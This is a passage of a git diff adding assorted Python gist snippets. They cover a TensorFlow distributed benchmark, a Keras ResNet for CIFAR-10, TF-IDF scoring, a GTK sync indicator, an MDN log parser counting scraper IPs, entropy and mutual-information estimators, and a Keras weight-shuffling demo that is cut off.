+    worker_thread_body = create_worker_thread(add_ops[i], FLAGS.iters)
+    worker_thread = threading.Thread(target=worker_thread_body)
+    worker_thread.start()
+    threads.append(worker_thread)
+
+  for thread in threads:
+    thread.join()
+      
+  elapsed_time = time.time() - start_time
+  rate = float(FLAGS.iters)*FLAGS.data_mb/elapsed_time
+  print("worker %d done: %.2f MB per second" % (FLAGS.task_index, rate))
+
+  # signal to ps shards that we are done
+  for q in create_done_queues():
+    sess.run(q.enqueue(1))
+    
+def launch_ps():
+  for i in range(FLAGS.ps):
+    cmd = "./" + " ".join(sys.argv) + " --job_name=ps --task="+str(i)
+    my_env = os.environ.copy()
+    my_env["CUDA_VISIBLE_DEVICES"] = ""
+    subprocess.Popen(cmd, shell=True, stderr=subprocess.STDOUT,
+                     env=my_env)
+    
+def launch_workers():
+  for i in range(FLAGS.workers):
+    cmd = "./" + " ".join(sys.argv) + " --job_name=worker --task="+str(i)
+    my_env = os.environ.copy()
+    # turn off GPU for speed
+    my_env["CUDA_VISIBLE_DEVICES"] = ""
+    subprocess.Popen(cmd, shell=True, stderr=subprocess.STDOUT,
+                     env=my_env)
+    
+  
+if __name__=='__main__':
+  if FLAGS.job_name == "ps":
+    run_ps()
+  elif FLAGS.job_name == "worker":
+    run_worker()
+  else:
+    log("client: launching ps")
+    launch_ps()
+    log("client: launching workers")
+    launch_workers()
diff --git a/hard-gists/ea3bb160dbc2e650b4474a84248d0d1a/._snippet.py b/hard-gists/ea3bb160dbc2e650b4474a84248d0d1a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ea3bb160dbc2e650b4474a84248d0d1a/._snippet.py differ
diff --git a/hard-gists/ea3bb160dbc2e650b4474a84248d0d1a/snippet.py b/hard-gists/ea3bb160dbc2e650b4474a84248d0d1a/snippet.py
new file mode 100644
index 00000000..66b914f8
--- /dev/null
+++ b/hard-gists/ea3bb160dbc2e650b4474a84248d0d1a/snippet.py
@@ -0,0 +1,154 @@
+from __future__ import print_function
+
+from keras.datasets import cifar10
+from keras.layers import merge, Input
+from keras.layers.convolutional import Convolution2D, ZeroPadding2D, AveragePooling2D
+from keras.layers.core import Dense, Activation, Flatten
+from keras.layers.normalization import BatchNormalization
+from keras.models import Model
+from keras.preprocessing.image import ImageDataGenerator
+from keras.utils import np_utils
+
+batch_size = 32
+nb_epoch = 200
+data_augmentation = False
+n = 3 # depth = 9*n+2
+
+# the CIFAR10 images are 32x32 RGB with 10 labels
+img_rows, img_cols = 32, 32
+img_channels = 3
+nb_classes = 10
+
+
+def bottleneck(incoming, count, nb_in_filters, nb_out_filters, subsample=(2, 2)):
+    outgoing = bottleneck_unit(incoming, nb_in_filters, nb_out_filters, subsample)
+    for i in range(1, count):
+        outgoing = bottleneck_unit(outgoing, nb_out_filters, nb_out_filters, subsample=(1, 1))
+
+    return outgoing
+
+
+def bottleneck_unit(incoming, nb_in_filters, nb_out_filters, subsample=(2, 2)):
+    nb_bottleneck_filter = nb_out_filters // 4
+    if nb_in_filters == nb_out_filters:
+        # conv1x1
+        y = BatchNormalization(mode=0, axis=1)(incoming)
+        y = Activation('relu')(y)
+        y = Convolution2D(nb_bottleneck_filter, nb_row=1, nb_col=1,
+                          subsample=subsample, init='he_normal', border_mode='same')(y)
+
+        # conv3x3
+        y = BatchNormalization(mode=0, axis=1)(y)
+        y = Activation('relu')(y)
+        y = ZeroPadding2D((1, 1))(y)
+        y = Convolution2D(nb_bottleneck_filter, nb_row=3, nb_col=3,
+                          subsample=(1, 1), init='he_normal', border_mode='valid')(y)
+
+        # conv1x1
+        y = BatchNormalization(mode=0, axis=1)(y)
+        y = Activation('relu')(y)
+        y = Convolution2D(nb_out_filters, nb_row=1, nb_col=1,
+                          subsample=(1, 1), init='he_normal', border_mode='same')(y)
+
+        return merge([incoming, y], mode='sum')
+
+    else:  # Residual Units for increasing dimensions
+        # common BN, ReLU
+        shortcut = BatchNormalization(mode=0, axis=1)(incoming)
+        shortcut = Activation('relu')(shortcut)
+
+        # conv1x1
+        y = Convolution2D(nb_bottleneck_filter, nb_row=1, nb_col=1,
+                          subsample=subsample, init='he_normal', border_mode='same')(shortcut)
+
+        # conv3x3
+        y = BatchNormalization(mode=0, axis=1)(y)
+        y = Activation('relu')(y)
+        y = ZeroPadding2D((1, 1))(y)
+        y = Convolution2D(nb_bottleneck_filter, nb_row=3, nb_col=3,
+                          subsample=(1, 1), init='he_normal', border_mode='valid')(y)
+
+        # conv1x1
+        y = BatchNormalization(mode=0, axis=1)(y)
+        y = Activation('relu')(y)
+        y = Convolution2D(nb_out_filters, nb_row=1, nb_col=1,
+                          subsample=(1, 1), init='he_normal', border_mode='same')(y)
+
+        # shortcut
+        shortcut = Convolution2D(nb_out_filters, nb_row=1, nb_col=1,
+                                 subsample=subsample, init='he_normal', border_mode='same')(shortcut)
+
+        return merge([shortcut, y], mode='sum')
+
+
+# the data, shuffled and split between train and test sets
+(X_train, y_train), (X_test, y_test) = cifar10.load_data()
+print('X_train shape:', X_train.shape)
+print(X_train.shape[0], 'train samples')
+print(X_test.shape[0], 'test samples')
+
+# convert class vectors to binary class matrices
+Y_train = np_utils.to_categorical(y_train, nb_classes)
+Y_test = np_utils.to_categorical(y_test, nb_classes)
+
+img_input = Input(shape=(img_channels, img_rows, img_cols))
+
+# one conv at the beginning (spatial size: 32x32)
+x = ZeroPadding2D((1, 1))(img_input)
+x = Convolution2D(16, nb_row=3, nb_col=3)(x)
+
+# Stage 1 (spatial size: 32x32)
+x = bottleneck(x, n, 16, 64, subsample=(1, 1))
+# Stage 2 (spatial size: 16x16)
+x = bottleneck(x, n, 64, 128, subsample=(2, 2))
+# Stage 3 (spatial size: 8x8)
+x = bottleneck(x, n, 128, 256, subsample=(2, 2))
+
+x = BatchNormalization(mode=0, axis=1)(x)
+x = Activation('relu')(x)
+x = AveragePooling2D((8, 8), strides=(1, 1))(x)
+x = Flatten()(x)
+preds = Dense(nb_classes, activation='softmax')(x)
+
+model = Model(input=img_input, output=preds)
+model.compile(optimizer='adam', loss='categorical_crossentropy',
+              metrics=['accuracy'])
+
+X_train = X_train.astype('float32')
+X_test = X_test.astype('float32')
+X_train /= 255
+X_test /= 255
+
+if not data_augmentation:
+    print('Not using data augmentation.')
+    model.fit(X_train, Y_train,
+              batch_size=batch_size,
+              nb_epoch=nb_epoch,
+              validation_data=(X_test, Y_test),
+              shuffle=True)
+else:
+    print('Using real-time data augmentation.')
+
+    # this will do preprocessing and realtime data augmentation
+    datagen = ImageDataGenerator(
+        featurewise_center=False,  # set input mean to 0 over the dataset
+        samplewise_center=False,  # set each sample mean to 0
+        featurewise_std_normalization=False,  # divide inputs by std of the dataset
+        samplewise_std_normalization=False,  # divide each input by its std
+        zca_whitening=False,  # apply ZCA whitening
+        rotation_range=0,  # randomly rotate images in the range (degrees, 0 to 180)
+        width_shift_range=0.1,  # randomly shift images horizontally (fraction of total width)
+        height_shift_range=0.1,  # randomly shift images vertically (fraction of total height)
+        horizontal_flip=True,  # randomly flip images
+        vertical_flip=False)  # randomly flip images
+
+    # compute quantities required for featurewise normalization
+    # (std, mean, and principal components if ZCA whitening is applied)
+    datagen.fit(X_train)
+
+    # fit the model on the batches generated by datagen.flow()
+    model.fit_generator(datagen.flow(X_train, Y_train,
+                                     batch_size=batch_size),
+                        samples_per_epoch=X_train.shape[0],
+                        nb_epoch=nb_epoch,
+                        validation_data=(X_test, Y_test))
diff --git a/hard-gists/ea46edc315b0f94d03b9/._snippet.py b/hard-gists/ea46edc315b0f94d03b9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ea46edc315b0f94d03b9/._snippet.py differ
diff --git a/hard-gists/ea46edc315b0f94d03b9/snippet.py b/hard-gists/ea46edc315b0f94d03b9/snippet.py
new file mode 100644
index 00000000..4cac3081
--- /dev/null
+++ b/hard-gists/ea46edc315b0f94d03b9/snippet.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python
+# encoding: utf-8
+import codecs
+import os
+import sys
+
+import numpy as np
+
+from sklearn.feature_extraction.text import TfidfVectorizer
+
+def get_document_filenames(document_path='/home/tool/document_text'):
+    return [os.path.join(document_path, each)
+            for each in os.listdir(document_path)]
+
+
+def create_vectorizer():
+    # Arguments here are tweaked for working with a particular data set.
+    # All that's really needed is the input argument.
+    return TfidfVectorizer(input='filename', max_features=200,
+                           token_pattern='(?u)\\b[a-zA-Z]\\w{2,}\\b',
+                           max_df=0.05,
+                           stop_words='english',
+                           ngram_range=(1, 3))
+
+
+def display_scores(vectorizer, tfidf_result):
+    # http://stackoverflow.com/questions/16078015/
+    scores = zip(vectorizer.get_feature_names(),
+                 np.asarray(tfidf_result.sum(axis=0)).ravel())
+    sorted_scores = sorted(scores, key=lambda x: x[1], reverse=True)
+    for item in sorted_scores:
+        print "{0:50} Score: {1}".format(item[0], item[1])
+
+
+def main():
+    vectorizer = create_vectorizer()
+    tfidf_result = vectorizer.fit_transform(get_document_filenames())
+    display_scores(vectorizer, tfidf_result)
+
+if __name__ == '__main__':
+    sys.stdout = codecs.getwriter('utf-8')(sys.stdout)
+    main()
\ No newline at end of file
diff --git a/hard-gists/ea6a808c1e1c382ec567/._snippet.py b/hard-gists/ea6a808c1e1c382ec567/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ea6a808c1e1c382ec567/._snippet.py differ
diff --git a/hard-gists/ea6a808c1e1c382ec567/snippet.py b/hard-gists/ea6a808c1e1c382ec567/snippet.py
new file mode 100644
index 00000000..5f0719c6
--- /dev/null
+++ b/hard-gists/ea6a808c1e1c382ec567/snippet.py
@@ -0,0 +1,67 @@
+#!/usr/bin/python
+
+from gi.repository import AppIndicator3 as AppIndicator
+from gi.repository import Gtk
+import re
+import signal
+import sys
+import threading
+
+
+class Indicator(object):
+
+  ICON_IDLE = "ubuntuone-client-idle"
+  ICON_SYNCING = "ubuntuone-client-updating"
+  ICON_ERROR = "ubuntuone-client-offline"
+  ICONS = {"idle": ICON_IDLE, "syncing": ICON_SYNCING, "error": ICON_ERROR}
+
+  def __init__(self):
+    self.indicator = None
+
+  # Main entry-point.
+  def main(self):
+    self.initialize()
+    self.run()
+
+  def initialize(self):
+    # This is so Gtk.main receives keyboard interrupts.
+    signal.signal(signal.SIGINT, signal.SIG_DFL)
+    self.indicator = AppIndicator.Indicator.new("sync-indicator-client", "sync-indicator-messages",
+        AppIndicator.IndicatorCategory.APPLICATION_STATUS)
+    self.indicator.set_status(AppIndicator.IndicatorStatus.ACTIVE)
+    self.indicator.set_icon(self.ICON_IDLE)
+    self.indicator.set_menu(Gtk.Menu())
+
+  def run(self):
+    # Gtk gets the main thread, stdin monitoring actually controls the life of
+    # the process but runs in a separate thread.
+    threading.Thread(target=self.run_stdin_monitor).start()
+    Gtk.main()
+
+  def run_stdin_monitor(self):
+    # Run by the stdin monitoring thread.
+    keep_going = True
+    try:
+      while keep_going:
+        keep_going = self.process_line()
+    finally:
+      Gtk.main_quit()
+
+  ACTION_RE = re.compile(r"^\[SYNC: ([a-z]+)\]$")
+  def process_line(self):
+    line = sys.stdin.readline()
+    if not line:
+      # This is the Ctrl-D case.
+      return False
+    matcher = self.ACTION_RE.match(line)
+    if matcher is None:
+      sys.stdout.write(line)
+    else:
+      state = matcher.group(1)
+      icon = self.ICONS.get(state, self.ICON_IDLE)
+      self.indicator.set_icon(icon)
+    return True
+
+
+if __name__ == "__main__":
+  Indicator().main()
diff --git a/hard-gists/ea8b0a48983b9f7a8d01cbc0651e43d1/._snippet.py b/hard-gists/ea8b0a48983b9f7a8d01cbc0651e43d1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ea8b0a48983b9f7a8d01cbc0651e43d1/._snippet.py differ
diff --git a/hard-gists/ea8b0a48983b9f7a8d01cbc0651e43d1/snippet.py b/hard-gists/ea8b0a48983b9f7a8d01cbc0651e43d1/snippet.py
new file mode 100644
index 00000000..ca3a9cff
--- /dev/null
+++ b/hard-gists/ea8b0a48983b9f7a8d01cbc0651e43d1/snippet.py
@@ -0,0 +1,239 @@
+#!/usr/bin/env python
+'''
+Parse a Kuma papertrail log, mostly to count IP addresses to find the scrapers.
+
+To get some log entries, use command line papertrail, like:
+
+papertrail --min-time '2017-11-12 4:00 AM' --max-time '2017-11-12 5:00 AM' -g portland -- mdn-prod_web '-"GET /readiness"' '-"GET /healthz"' '-"- - HTTP/1.0"' > trouble.log
+
+A simplier version can be used to just count IP addresses, but I was being bolder,
+so I could parse on other elements.
+
+To do:
+- Split logs by pod, so that multi-line logs (like backtraces) can be handled as
+  a single event.
+- Write a simplier version that just does the IP address bucketing.
+'''
+
+from __future__ import unicode_literals, print_function
+from collections import Counter
+import datetime
+import json
+import re
+import pprint
+
+from dateutil.parser import parse
+
+line_re = re.compile(r"""(?x)^              # Be verbose
+    (?P<log_month>[A-Z][a-z][a-z])\s        # Month (Jan, Feb, Mar)
+    (?P<log_day>\d+)\s                      # Day (1, 2, 31)
+    (?P<log_hour>\d+):                      # Hour
+    (?P<log_min>\d+):                       # Minute
+    (?P<log_sec>\d+)\s+                     # Second
+    (?P<machine>ip-[\d-]+)\s+               # Machine (ip-172-20-59-215)
+    (?P<log_path>[^ :]+):\s                 # Log path
+    (?P<payload>{.*)                        # JSON payload
+""")
+
+log_re = re.compile(r"""(?x)^               # Be verbose
+    (?P<ip>[^ ]+)\s                         # IP address
+    (?P<dash1>[^ ]+)\s                      # First dash -
+    (?P<dash2>[^ ]+)\s                      # Second dash -
+    \[(?P<time>[^]]+)\]\s   # Request time [12/Nov/2017:12:59:58 -0800]
+    "(?P<method>(GET|POST|HEAD|OPTIONS))\s  # Method
+    (?P<path>.*)\s                          # Request path
+    (?P<http>HTTP/[^"]+)"\s                 # HTTP protocol
+    (?P<status_code>[^ ]+)\s                # Status code
+    (?P<length>[^ ]+)\s                     # Content length
+    "(?P<referrer>[^"]+)"\s                 # Referrer
+    "(?P<agent>[^"]+)"                      # User Agent
+    \s+                                     # End garbage
+""")
+
+months = {
+    'Jan': 1,
+    'Feb': 2,
+    'Mar': 3,
+    'Apr': 4,
+    'May': 5,
+    'Jun': 6,
+    'Jul': 7,
+    'Aug': 8,
+    'Sep': 9,
+    'Oct': 10,
+    'Nov': 11,
+    'Dec': 12,
+}
+today = datetime.date.today()
+
+papertrail_ok = [
+    "fluent.info: detected rotation",
+    'fluent.info: following tail of',
+    'fluent.warn: /var/log/containers',
+]
+
+def extract_papertrail_log(papertrail_line):
+    match = line_re.match(papertrail_line)
+    if not match:
+        is_ok = any(ok in papertrail_line for ok in papertrail_ok)
+        if is_ok:
+            return {}
+        else:
+            raise ValueError(papertrail_line)
+    items = match.groupdict()
+    month = months[items['log_month']]
+    day = int(items['log_day'])
+    year = today.year
+    hour = int(items['log_hour'])
+    minute = int(items['log_min'])
+    second = int(items['log_sec'])
+    log_date = datetime.datetime(year, month, day, hour, minute, second)
+    log = {
+        'pt_ts': log_date,
+        'pt_machine': items['machine'],
+        'pt_path': items['log_path']
+    }
+    payload = json.loads(items['payload'])
+    for key, value in payload.items():
+        if key == 'time':
+            log['time'] = parse(value)
+        elif key == 'log':
+            for lkey, lvalue in extract_log(value).items():
+                log['log_%s' % lkey] = lvalue
+        else:
+            log[key] = value
+    return log
+
+def extract_log(log_line):
+    match = log_re.match(log_line)
+    if match:
+        return match.groupdict()
+    else:
+        return {'raw': log_line}
+
+
+test_lines = [
+   ('Nov 12 15:00:00 ip-172-20-59-215'
+    ' kubernetes.var.log.containers.web-2866707077-4hflx_mdn-prod_web-:'
+    ' {"log":"84.211.233.100 - - [12/Nov/2017:12:59:58 -0800]'
+    ' \\"GET /en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions'
+    ' HTTP/1.1\\"'
+    ' 200 1814'
+    ' \\"https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/'
+    'Using_CSS_transitions\\"'
+    ' \\"Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36'
+    ' (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36\\"\\n",'
+    '"stream":"stdout","time":"2017-11-12T20:59:59.183950049Z"}'),
+   ('Nov 12 15:00:14 ip-172-20-37-202'
+    ' kubernetes.var.log.containers.web-2866707077-pdmtl_mdn-prod_web-:'
+    ' {"log":"85.212.141.189 - - [12/Nov/2017:13:00:14 -0800]'
+    ' \\"GET /en-US/docs/tag/Firefox 3.6 HTTP/1.1\\"'
+    ' 200 22867'
+    ' \\"https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/'
+    'Reference/Interface/nsIDOMFileError\\"'
+    ' \\"Wget/1.19.1 (linux-gnu)\\"\\n",'
+    '"stream":"stdout","time":"2017-11-12T21:00:14.48437681Z"}\n'),
+
+]
+
+def test():
+    for test_line in test_lines:
+        m = line_re.match(test_line)
+        assert m
+        print("Raw line:", test_line)
+        print("Extract line:")
+        pprint.pprint(m.groupdict())
+        log = extract_papertrail_log(test_line)
+        print("Extract log:")
+        pprint.pprint(log)
+        assert 'log_raw' not in log
+        print()
+
+
+# Log lines that aren't web requests but OK
+default_ignore_strings = [
+    '[ERROR] IOError: [Errno 32] Broken pipe',  # User hung up
+    '[ERROR] Traceback ',  # Kuma threw up
+    '[INFO] Booting worker with pid: ',  # Kuma restarted
+    'newrelic.core.',  # New Relic booting up
+    '[CRITICAL] WORKER TIMEOUT',  # gunicorn hung up?
+    '[info]: detected rotation of ', # fluentd fell behind
+    '[info]: following tail of ', # fluentd caught up
+    '[INFO] Handling signal: term', # kubernetes is killing gunicorn
+    '[INFO] Worker exiting', # gunicorn is exiting
+    'newrelic.config INFO - ',  # newrelic is reading config
+    '[INFO] Starting gunicorn ', # gunicorn is starting
+    '[INFO] Listening at: ', # gunicorn is starting
+    '[INFO] Using worker: meinheld', # gunicorn is starting
+    '[INFO] Shutting down: Master', # gunicorn is stopping
+]
+
+def process_lines(logfile, process_func, process_context=None,
+                  ignore_strings=None, fail_limit=20, report_fails=False):
+    num = 0
+    raws = 0
+    if ignore_strings is None:
+        ignore_strings = default_ignore_strings
+    for line in logfile:
+        num += 1
+        log = extract_papertrail_log(line)
+        if 'log_raw' in log:
+            log_raw = log['log_raw']
+            if log_raw == '\n':
+                continue
+            uline = line.decode('utf8')
+            is_ok = any(ignore in uline for ignore in ignore_strings)
+            if not is_ok:
+                raws += 1
+                if report_fails:
+                    print("line %d: raw log on line %s" % (num, repr(line)))
+                if fail_limit and raws >= fail_limit:
+                    print("Aborting, too many missed logs.")
+                    break
+        elif log:
+            process_context = process_func(log, process_context)
+    return process_context, num, raws
+
+
+def collect_ips(log, context=None):
+    if context is None:
+        context = {
+            'count': 0,
+            'ips': Counter()
+        }
+    if context.get('debug'):
+        out = "%(log_ip)s: %(log_method)s %(log_path)s" % log
+        print(out)
+    context['count'] += 1
+    context['ips'][log['log_ip']] += 1
+    return context
+
+
+def usage(name):
+    print("""\
+%(name)s <filename.log>: Process a papertrail log, counting IP addresses.
+
+Logs are generated using the papertrail command line app:
+papertrail --min-time '2017-11-12 4:00 AM' --max-time '2017-11-12 5:00 AM'\
+ -g portland -- mdn-prod_web '-"GET /readiness"' '-"GET /healthz"'\
+ '-"- - HTTP/1.0"' > trouble.log
+
+To run tests: %(name)s --test
+""")
+
+if __name__ == '__main__':
+    import sys
+    if len(sys.argv) < 2:
+        usage(sys.argv[0])
+        sys.exit(1)
+    filename = sys.argv[1]
+    if filename == '--test':
+        test()
+        sys.exit(9)
+    with open(filename, 'r') as logfile:
+        result, lines, unprocessed = process_lines(logfile, collect_ips,
+                                                   fail_limit=None)
+    processed = lines - unprocessed
+    print("Done, processed %d of %d lines. Top IP addresses:" %
+          (processed, lines))
+    pprint.pprint(result['ips'].most_common(10))
diff --git a/hard-gists/ead9898bd3c973c40429/._snippet.py b/hard-gists/ead9898bd3c973c40429/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ead9898bd3c973c40429/._snippet.py differ
diff --git a/hard-gists/ead9898bd3c973c40429/snippet.py b/hard-gists/ead9898bd3c973c40429/snippet.py
new file mode 100644
index 00000000..dbbf1821
--- /dev/null
+++ b/hard-gists/ead9898bd3c973c40429/snippet.py
@@ -0,0 +1,253 @@
+'''
+Non-parametric computation of entropy and mutual-information
+
+Adapted by G Varoquaux for code created by R Brette, itself
+from several papers (see in the code).
+
+These computations rely on nearest-neighbor statistics
+'''
+import numpy as np
+
+from scipy.special import gamma,psi
+from scipy import ndimage
+from scipy.linalg import det
+from numpy import pi
+
+from sklearn.neighbors import NearestNeighbors
+
+__all__=['entropy', 'mutual_information', 'entropy_gaussian']
+
+EPS = np.finfo(float).eps
+
+
+def nearest_distances(X, k=1):
+    '''
+    X = array(N,M)
+    N = number of points
+    M = number of dimensions
+
+    returns the distance to the kth nearest neighbor for every point in X
+    '''
+    knn = NearestNeighbors(n_neighbors=k)
+    knn.fit(X)
+    d, _ = knn.kneighbors(X) # the first nearest neighbor is itself
+    return d[:, -1] # returns the distance to the kth nearest neighbor
+
+
+def entropy_gaussian(C):
+    '''
+    Entropy of a gaussian variable with covariance matrix C
+    '''
+    if np.isscalar(C): # C is the variance
+        return .5*(1 + np.log(2*pi)) + .5*np.log(C)
+    else:
+        n = C.shape[0] # dimension
+        return .5*n*(1 + np.log(2*pi)) + .5*np.log(abs(det(C)))
+
+
+def entropy(X, k=1):
+    ''' Returns the entropy of the X.
+
+    Parameters
+    ===========
+
+    X : array-like, shape (n_samples, n_features)
+        The data the entropy of which is computed
+
+    k : int, optional
+        number of nearest neighbors for density estimation
+
+    Notes
+    ======
+
+    Kozachenko, L. F. & Leonenko, N. N. 1987 Sample estimate of entropy
+    of a random vector. Probl. Inf. Transm. 23, 95-101.
+    See also: Evans, D. 2008 A computationally efficient estimator for
+    mutual information, Proc. R. Soc. A 464 (2093), 1203-1215.
+    and:
+    Kraskov A, Stogbauer H, Grassberger P. (2004). Estimating mutual
+    information. Phys Rev E 69(6 Pt 2):066138.
+    '''
+
+    # Distance to kth nearest neighbor
+    r = nearest_distances(X, k) # squared distances
+    n, d = X.shape
+    volume_unit_ball = (pi**(.5*d)) / gamma(.5*d + 1)
+    '''
+    F. Perez-Cruz, (2008). Estimation of Information Theoretic Measures
+    for Continuous Random Variables. Advances in Neural Information
+    Processing Systems 21 (NIPS). Vancouver (Canada), December.
+
+    return d*mean(log(r))+log(volume_unit_ball)+log(n-1)-log(k)
+    '''
+    return (d*np.mean(np.log(r + np.finfo(X.dtype).eps))
+            + np.log(volume_unit_ball) + psi(n) - psi(k))
+
+
+def mutual_information(variables, k=1):
+    '''
+    Returns the mutual information between any number of variables.
+    Each variable is a matrix X = array(n_samples, n_features)
+    where
+      n = number of samples
+      dx,dy = number of dimensions
+
+    Optionally, the following keyword argument can be specified:
+      k = number of nearest neighbors for density estimation
+
+    Example: mutual_information((X, Y)), mutual_information((X, Y, Z), k=5)
+    '''
+    if len(variables) < 2:
+        raise AttributeError(
+                "Mutual information must involve at least 2 variables")
+    all_vars = np.hstack(variables)
+    return (sum([entropy(X, k=k) for X in variables])
+            - entropy(all_vars, k=k))
+
+
+def mutual_information_2d(x, y, sigma=1, normalized=False):
+    """
+    Computes (normalized) mutual information between two 1D variate from a
+    joint histogram.
+
+    Parameters
+    ----------
+    x : 1D array
+        first variable
+
+    y : 1D array
+        second variable
+
+    sigma: float
+        sigma for Gaussian smoothing of the joint histogram
+
+    Returns
+    -------
+    nmi: float
+        the computed similariy measure
+
+    """
+    bins = (256, 256)
+
+    jh = np.histogram2d(x, y, bins=bins)[0]
+
+    # smooth the jh with a gaussian filter of given sigma
+    ndimage.gaussian_filter(jh, sigma=sigma, mode='constant',
+                                 output=jh)
+
+    # compute marginal histograms
+    jh = jh + EPS
+    sh = np.sum(jh)
+    jh = jh / sh
+    s1 = np.sum(jh, axis=0).reshape((-1, jh.shape[0]))
+    s2 = np.sum(jh, axis=1).reshape((jh.shape[1], -1))
+
+    # Normalised Mutual Information of:
+    # Studholme,  jhill & jhawkes (1998).
+    # "A normalized entropy measure of 3-D medical image alignment".
+    # in Proc. Medical Imaging 1998, vol. 3338, San Diego, CA, pp. 132-143.
+    if normalized:
+        mi = ((np.sum(s1 * np.log(s1)) + np.sum(s2 * np.log(s2)))
+                / np.sum(jh * np.log(jh))) - 1
+    else:
+        mi = ( np.sum(jh * np.log(jh)) - np.sum(s1 * np.log(s1))
+               - np.sum(s2 * np.log(s2)))
+
+    return mi
+
+
+
+###############################################################################
+# Tests
+
+def test_entropy():
+    # Testing against correlated Gaussian variables
+    # (analytical results are known)
+    # Entropy of a 3-dimensional gaussian variable
+    rng = np.random.RandomState(0)
+    n = 50000
+    d = 3
+    P = np.array([[1, 0, 0], [0, 1, .5], [0, 0, 1]])
+    C = np.dot(P, P.T)
+    Y = rng.randn(d, n)
+    X = np.dot(P, Y)
+    H_th = entropy_gaussian(C)
+    H_est = entropy(X.T, k=5)
+    # Our estimated entropy should always be less that the actual one
+    # (entropy estimation undershoots) but not too much
+    np.testing.assert_array_less(H_est, H_th)
+    np.testing.assert_array_less(.9*H_th, H_est)
+
+
+def test_mutual_information():
+    # Mutual information between two correlated gaussian variables
+    # Entropy of a 2-dimensional gaussian variable
+    n = 50000
+    rng = np.random.RandomState(0)
+    #P = np.random.randn(2, 2)
+    P = np.array([[1, 0], [0.5, 1]])
+    C = np.dot(P, P.T)
+    U = rng.randn(2, n)
+    Z = np.dot(P, U).T
+    X = Z[:, 0]
+    X = X.reshape(len(X), 1)
+    Y = Z[:, 1]
+    Y = Y.reshape(len(Y), 1)
+    # in bits
+    MI_est = mutual_information((X, Y), k=5)
+    MI_th = (entropy_gaussian(C[0, 0])
+             + entropy_gaussian(C[1, 1])
+             - entropy_gaussian(C)
+            )
+    # Our estimator should undershoot once again: it will undershoot more
+    # for the 2D estimation that for the 1D estimation
+    print  MI_est, MI_th
+    np.testing.assert_array_less(MI_est, MI_th)
+    np.testing.assert_array_less(MI_th, MI_est  + .3)
+
+
+def test_degenerate():
+    # Test that our estimators are well-behaved with regards to
+    # degenerate solutions
+    rng = np.random.RandomState(0)
+    x = rng.randn(50000)
+    X = np.c_[x, x]
+    assert np.isfinite(entropy(X))
+    assert np.isfinite(mutual_information((x[:, np.newaxis],
+                                           x[:,  np.newaxis])))
+    assert 2.9 < mutual_information_2d(x, x) < 3.1
+
+
+def test_mutual_information_2d():
+    # Mutual information between two correlated gaussian variables
+    # Entropy of a 2-dimensional gaussian variable
+    n = 50000
+    rng = np.random.RandomState(0)
+    #P = np.random.randn(2, 2)
+    P = np.array([[1, 0], [.9, .1]])
+    C = np.dot(P, P.T)
+    U = rng.randn(2, n)
+    Z = np.dot(P, U).T
+    X = Z[:, 0]
+    X = X.reshape(len(X), 1)
+    Y = Z[:, 1]
+    Y = Y.reshape(len(Y), 1)
+    # in bits
+    MI_est = mutual_information_2d(X.ravel(), Y.ravel())
+    MI_th = (entropy_gaussian(C[0, 0])
+             + entropy_gaussian(C[1, 1])
+             - entropy_gaussian(C)
+            )
+    print  MI_est, MI_th
+    # Our estimator should undershoot once again: it will undershoot more
+    # for the 2D estimation that for the 1D estimation
+    np.testing.assert_array_less(MI_est, MI_th)
+    np.testing.assert_array_less(MI_th, MI_est  + .2)
+
+
+if __name__ == '__main__':
+    # Run our tests
+    test_entropy()
+    test_mutual_information()
+    test_degenerate()
+    test_mutual_information_2d()
diff --git a/hard-gists/eb302ad37fe170386893/._snippet.py b/hard-gists/eb302ad37fe170386893/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eb302ad37fe170386893/._snippet.py differ
diff --git a/hard-gists/eb302ad37fe170386893/snippet.py b/hard-gists/eb302ad37fe170386893/snippet.py
new file mode 100644
index 00000000..79e5ccee
--- /dev/null
+++ b/hard-gists/eb302ad37fe170386893/snippet.py
@@ -0,0 +1,10 @@
+from AppKit import NSPoint
+from mojo.events import MeasurementTool
+
+measurement = MeasurementTool.measurementClass()
+measurement.startPoint = NSPoint(100, 100)
+measurement.endPoint = NSPoint(200, 200)
+
+g = CurrentGlyph()
+g.naked().measurements.append(measurement)
+g.update()
\ No newline at end of file
diff --git a/hard-gists/eb6dc49c861a1c21b612b568dd188668/._snippet.py b/hard-gists/eb6dc49c861a1c21b612b568dd188668/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/eb6dc49c861a1c21b612b568dd188668/._snippet.py differ
diff --git a/hard-gists/eb6dc49c861a1c21b612b568dd188668/snippet.py b/hard-gists/eb6dc49c861a1c21b612b568dd188668/snippet.py
new file mode 100644
index 00000000..537f6f82
--- /dev/null
+++ b/hard-gists/eb6dc49c861a1c21b612b568dd188668/snippet.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python
+"""Demonstrate Keras model weight shuffling as fast alternative to re-creating a model."""
+
+from __future__ import print_function
+
+import numpy as np
+from keras.layers import Dense
+from keras.models import Sequential
+
+
+def shuffle_weights(model, weights=None):
+    """Randomly permute the weights in `model`, or the given `weights`.
+
+    This is a fast approximation of re-initializing the weights of a model.
+
+    Assumes weights are distributed independently of the dimensions of the weight tensors
+      (i.e., the weights have the same distribution along each dimension).
+
+    :param Model model: Modify the weights of the given model.
+    :param list(ndarray) weights: The model's weights will be replaced by a random permutation of these weights.
+      If `None`, permute the model's current weights.
+    """
+    if weights is None:
+        weights = model.get_weights()
+    weights = [np.random.permutation(w.flat).reshape(w.shape) for w in weights]
+    # Faster, but less random: only permutes along the first dimension
+    # weights = [np.random.permutation(w) for w in weights]
+    model.set_weights(weights)
+
+
+def main():
